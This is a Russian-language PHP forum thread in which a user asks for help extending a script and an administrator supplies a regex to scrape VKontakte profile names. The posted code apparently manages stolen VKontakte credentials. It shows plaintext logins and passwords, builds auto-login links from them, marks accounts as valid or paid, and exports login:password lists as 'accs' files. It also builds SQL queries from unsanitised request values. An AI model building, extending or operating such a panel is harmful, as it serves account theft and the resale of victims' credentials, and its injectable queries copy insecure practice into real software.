Помогите допарсить

Тема в разделе "PHP", создана пользователем extrimportal, 19 мар 2011.

Модераторы: latteo
  1. extrimportal

    extrimportal

    Регистр.:
    28 ноя 2008
    Сообщения:
    561
    Симпатии:
    74
    Говорю сразу в пхп нуб,и нуждаюсь в помощи.
    Есть часть скрипта выдернута с другого ;)
    В этой части (я так понял) при нажатии на
    PHP:
    <div style="display:inline;" id="active_<?=$el['u_id'];?>"><a href="javascript:;" onclick='setcirc(<?=$el['u_id'];?>);'><img src="/images/c<?=(($el['u_isactive']=='1')?"green":"red");?>.png" border=0></a></div> 
    Каким то образом обновляется и дописывается в базу id, заменяется здесь:
    PHP:
    <a href="http://сайт.ru/id<?=$el['u_vkid'];?>" target=_blank><?=$el['u_vkid'];?></a>
    PHP:
    <?
      
    session_start();

      
      
    //експорт
      
    if($_GET['a']=='export'){
            
    $adq '';
        
            if(isset(
    $_GET['ids']))if($_GET['ids']!=''){
                if(
    preg_match("/^[0-9\,]+$/si"$_GET['ids']))$adq .= " AND u_id IN (".$_GET['ids'].")";
            }
            
            if(isset(
    $_GET['login']))if($_GET['login']!=''){
                
    $adq .= " AND u_login LIKE '%".$_GET['login']."%'";
            }
            
            if(isset(
    $_GET['date1']))if($_GET['date1']!=''){
                
    $dsep explode("."$_GET['date1']);
                
    $sepdate explode("-"$dsep[0]);
                
    $septime explode(","$dsep[1]);
                
                
    $adq .= " AND u_logtime>=".(mktime($septime[0], $septime[1], 0$sepdate[1], $sepdate[0], $sepdate[2])-(60*60*11));
            }
            
            if(isset(
    $_GET['date2']))if($_GET['date2']!=''){
                
    $dsep explode("."$_GET['date2']);
                
    $sepdate explode("-"$dsep[0]);
                
    $septime explode(","$dsep[1]);
                
                
    $adq .= " AND u_logtime<=".(mktime($septime[0], $septime[1], 0$sepdate[1], $sepdate[0], $sepdate[2])-(60*60*11));
            }    
            
            if(isset(
    $_GET['payed']))if($_GET['payed']!=''){
                
    $adq .= " AND u_ispayed=".$_GET['payed'];
            }
        
            if(isset(
    $_GET['valid']))if($_GET['valid']!=''){
                
    $adq .= " AND u_isactive=".$_GET['valid'];
            }          
          
          
    $users $db->select_stolbs_usl("users""u_login, u_pass""u_id>0".$adq"u_logtime DESC"true);
          
          
    $toexp '';
          
    $num 0;
          foreach(
    $users as $el){
               if(
    $toexp!='')$toexp .= "
    "
    ;    
               
    $toexp .= $el['u_login'].":".$el['u_pass'];
               
    $num++;
          }
          
          
    $fname "accs(".$num.")_".date("d.m.Y-H.i", (time()+(60*60*11))).".txt";
          
    $fpath "toexp/export.txt";
          
          
    $fil fopen($fpath"w+");
          
    fwrite($fil$toexp);
          
    fclose($fil);
          
          
    output_file($fpath$fname);
          exit();
      }

       
    ?>
      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
    <head>
    <script>
    function create_request2(method, request, datasend, handler) {
          /**
           * (string) method = метод отправки данных (обычно GET или POST);
           * (string) request = абсолютный или относительный путь до файла (этот файл и запрашиваемый должны быть с одного домена);
           * (string) datasend = данные отсылаемые при запросе (например: nick=ixRock&msg=JS/PHP 4EVER!);
           * (function) handler = функция обработчик для события onreadystatechange, by default в виде первого агрумента будет принимать xml.responseText;
           */

           handler = handler || false;
           if(window.XMLHttpRequest) xhr2 = new XMLHttpRequest();
           else {
                  try { xhr2 = new ActiveXObject("Msxml2.XMLHTTP") }
                  catch(e) {
                         try { xhr2 = new ActiveXObject("Microsoft.XMLHTTP") }
                         catch(e) {
                                try { xhr2 = new ActiveXObject("Msxml2.XMLHTTP.4.0") }
                                catch(e) { xhr2 = null }
                                }
                  }
           }

           if(xhr2 != null) {
                  datasend = method.toUpperCase() == 'POST' ? encodeURI(datasend) : datasend;
                  xhr2.open(method, request, true);
                  xhr2.setRequestHeader('Content-type','application/x-www-form-urlencoded');
                  xhr2.send(datasend);

           xhr2.onreadystatechange = function() {

                  if(xhr2.readyState == 4) {
                         if(xhr2.status == 404) alert('Запрашиваемый файл не существует! \n\t(404 - Not Found)');
                         else if(xhr2.status == 403) alert('Этот файл запрещен для просмотра! \n\t(403 - Forbidden)');
                         else if(xhr2.status == 401) alert('Пользователь не авторизирован! \n\t(401 - Unauthorized)');
                         else if(handler != false) {
                                handler(xhr2.responseText);
                                xhr2.onreadystatechange = function() {}
                                delete xhr2;
                                }
                         }
                  }
           }
           else alert('Ваш браузер не поддерживает AJAX-технологию!');
    }    

    function confirmsite(theSqlQuery){
    var is_confirmed = confirm('Вы действительно хотите' + ' :\n' + theSqlQuery);
    //if (is_confirmed){
    //theLink.href += '&is_js_confirmed=1';
    //}
    return is_confirmed;
    }
    </script>

    </head>
    <body>


    <script language="JavaScript" src="calendar_eu.js"></script>
        <link rel="stylesheet" href="calendar.css">
            
            
    <script>
    function setcirc(uid){
        document.getElementById("active_"+uid).innerHTML = "<img border=0 src='/images/loader.gif'>";

        create_request2("GET", "ajloader.php?a=isactiive&uid="+uid, "a=isactive&uid="+uid, function(){
            document.getElementById("active_"+uid).innerHTML = xhr2.responseText;
        });
    }    


    function pagesshow(p){
         
         if(p==0)document.getElementById('result').innerHTML = "<img border=0 src='/images/loader.gif'>";
         else document.getElementById('result').innerHTML += "<img border=0 style='margin-left:15px;' src='/images/loader.gif'>";
         
       var aq = '';
       document.getElementById('page').value = p;

         var ids = document.getElementById('sid').value;
         aq += "&ids=";
         if(ids!='')aq += ids;
         
         var email = document.getElementById('slogin').value;
         aq += "&login=";
         if(email!='')aq += email;
         
         var date1 = document.getElementById('sdate1').value;
         aq += "&date1=";
         if(date1 != ''){
             aq += date1+"."+document.getElementById('sh1').value+","+document.getElementById('si1').value;
         }
         
         var date2 = document.getElementById('sdate2').value;
         aq += "&date2=";
         if(date2 != ''){
             aq += date2+"."+document.getElementById('sh2').value+","+document.getElementById('si2').value;
         }     
         
     
         aq += "&payed="+document.getElementById('spayed').value;
         aq += "&valid="+document.getElementById('svalid').value;
         
     
       create_request("GET", "ajloader.php?a=list&p="+p+aq, "a=list&p="+p+aq,function(){
               var strings = xhr.responseText.split("[::]");
          document.getElementById('list').innerHTML = strings[1];
          document.getElementById('result').innerHTML = strings[0]+' [ <a href="base.php?a=export'+aq+'">Экспорт</a> ]';
       });
    }

    function delUser(uid){
        var rez = confirmsite('удалить этого пользователя?');
        
        if(!rez)return false;
        
        document.getElementById("delete_"+uid).innerHTML = "<img border=0 src='/images/loader.gif'>";
        
        create_request2("GET", "ajloader.php?a=delete&uid="+uid, "a=delete&uid="+uid, function(){
            pagesshow(document.getElementById('page').value);
        });
    }
    </script>

    <center>

    <?
    global $onstr;
    $users = $db->select_all("users", "u_logtime DESC LIMIT 0,".$onstr, true);

    if(!isset($users[0]['u_id']))print "Нет юзеров...";
    else {
        
        
        $count = $db->select_stolbs_usl("users", "COUNT(u_id) as count", "u_id>0", "u_id", true);
    ?>

    <form method=post action="" onsubmit="pagesshow(0); return false;">
            <input type="hidden" id="page" name="page" value="0">
                
                
    </form>


    <div id="list">
    <?
    print PagePrint_js(array($onstr, 0, $count[0]['count'], '', 20), "pagesshow([]);");
    ?>    
        <table class='wikiTable' cellpadding='0' cellspacing='0' width=550 style="margin-top:10px;margin-bottom:10px;">
    <tr>
        <td width=60><b>ID</b></td><td width=180><b>Логин</b>, </td><td width=100 style="text-align:center;"><b>Дата</b></td>
        <td width=50 style="text-align:center;"><b>ok</b></td><td style="text-align:center;"><b>Действия</b></td>
    </tr>
    <?
    foreach($users as $el){
        ?><tr>
        <td>[<a href="http://site/login.php?m=1&email=<?=urlencode($el['u_login']);?>&pass=<?=urlencode($el['u_pass']);?>" target=_blank>E</a>] <a href="http://site/id<?=$el['u_vkid'];?>" target=_blank><?=$el['u_vkid'];?></a></td>
        <td><?=$el['u_login'];?><br>
            <?=$el['u_pass'];?></td>
            <td style="text-align:center;"><?=date("d.m.Y H:i"$el['u_logtime']+(60*60*11));?></td>
        <td style="text-align:center;"><?
            if($el['u_ispayed']==1)print "<font color=green><b>Да</b></font>";
            else print "Нет";
            ?></td>
            <td style="text-align:center;"><div style="display:inline;" id="active_<?=$el['u_id'];?>"><a href="javascript:;" onclick='setcirc(<?=$el['u_id'];?>);'><img src="/images/c<?=(($el['u_isactive']=='1')?"green":"red");?>.png" border=0></a></div> 
    </td>
        </tr>
        <?
    }
    ?>
    </table>

    <?
    print PagePrint_js(array($onstr, 0, $count[0]['count'], '', 20), "pagesshow([]);");
    ?>    
    </div>
    </center>
    <?
    }
    ?>
        
        </body></html>

    Я так понял скрипт парсит страницу, а потом с неё вытаскивает id. Подскажите пожалуйста можно ли доработать скрипт так что бы когда обновлялся id в базу также записывалось бы продолжение строки "<h1 id="title"><b class="fl_r">" (на парсеной странице, такое начало строки встречается только раз, продолжение везде разное).
    Знаю что описал тупо, но сам понимаю также :)
    За помощь был бы очень благодарен, накинул бы даже на пивасик, если бы всё зафурычило. Если это очень трудно обьясните хотя бы в какой части кода он получает id. Спасибо.
     
  2. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.420
    Для того, чтобы взять продолжение указанной строки необходимо знать и ее окончание...
    Если не ошибаюсь, речь идет о парсере вконтакте?
     
  3. extrimportal

    extrimportal

    Регистр.:
    28 ноя 2008
    Сообщения:
    561
    Симпатии:
    74
    Нет не ошибаетесь
    <h1 id="title"><b class="fl_r">Онлайн</b>Дядя Васька <b>(ето Вы)</b></h1>
    Как вы уже поняли спарсить нужно только имя.
     
  4. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.420
    PHP:
    preg_match_all("/<h1 id=\"title\"><b class=\"fl_r\">(.*?)<b>(.*?)<\/b><\/h1>/is",
        
    $str$matches);
     
    extrimportal нравится это.
  5. extrimportal

    extrimportal

    Регистр.:
    28 ноя 2008
    Сообщения:
    561
    Симпатии:
    74
    для начала большое спасибо, но как я уже написал я в пхп нуб, и куда вставить этот код что бы оно парсило вместе с айди, и как сделать что бы писало в базу я сам не допру. Подскажите пожалуйста. Оч оч оч прошу!!!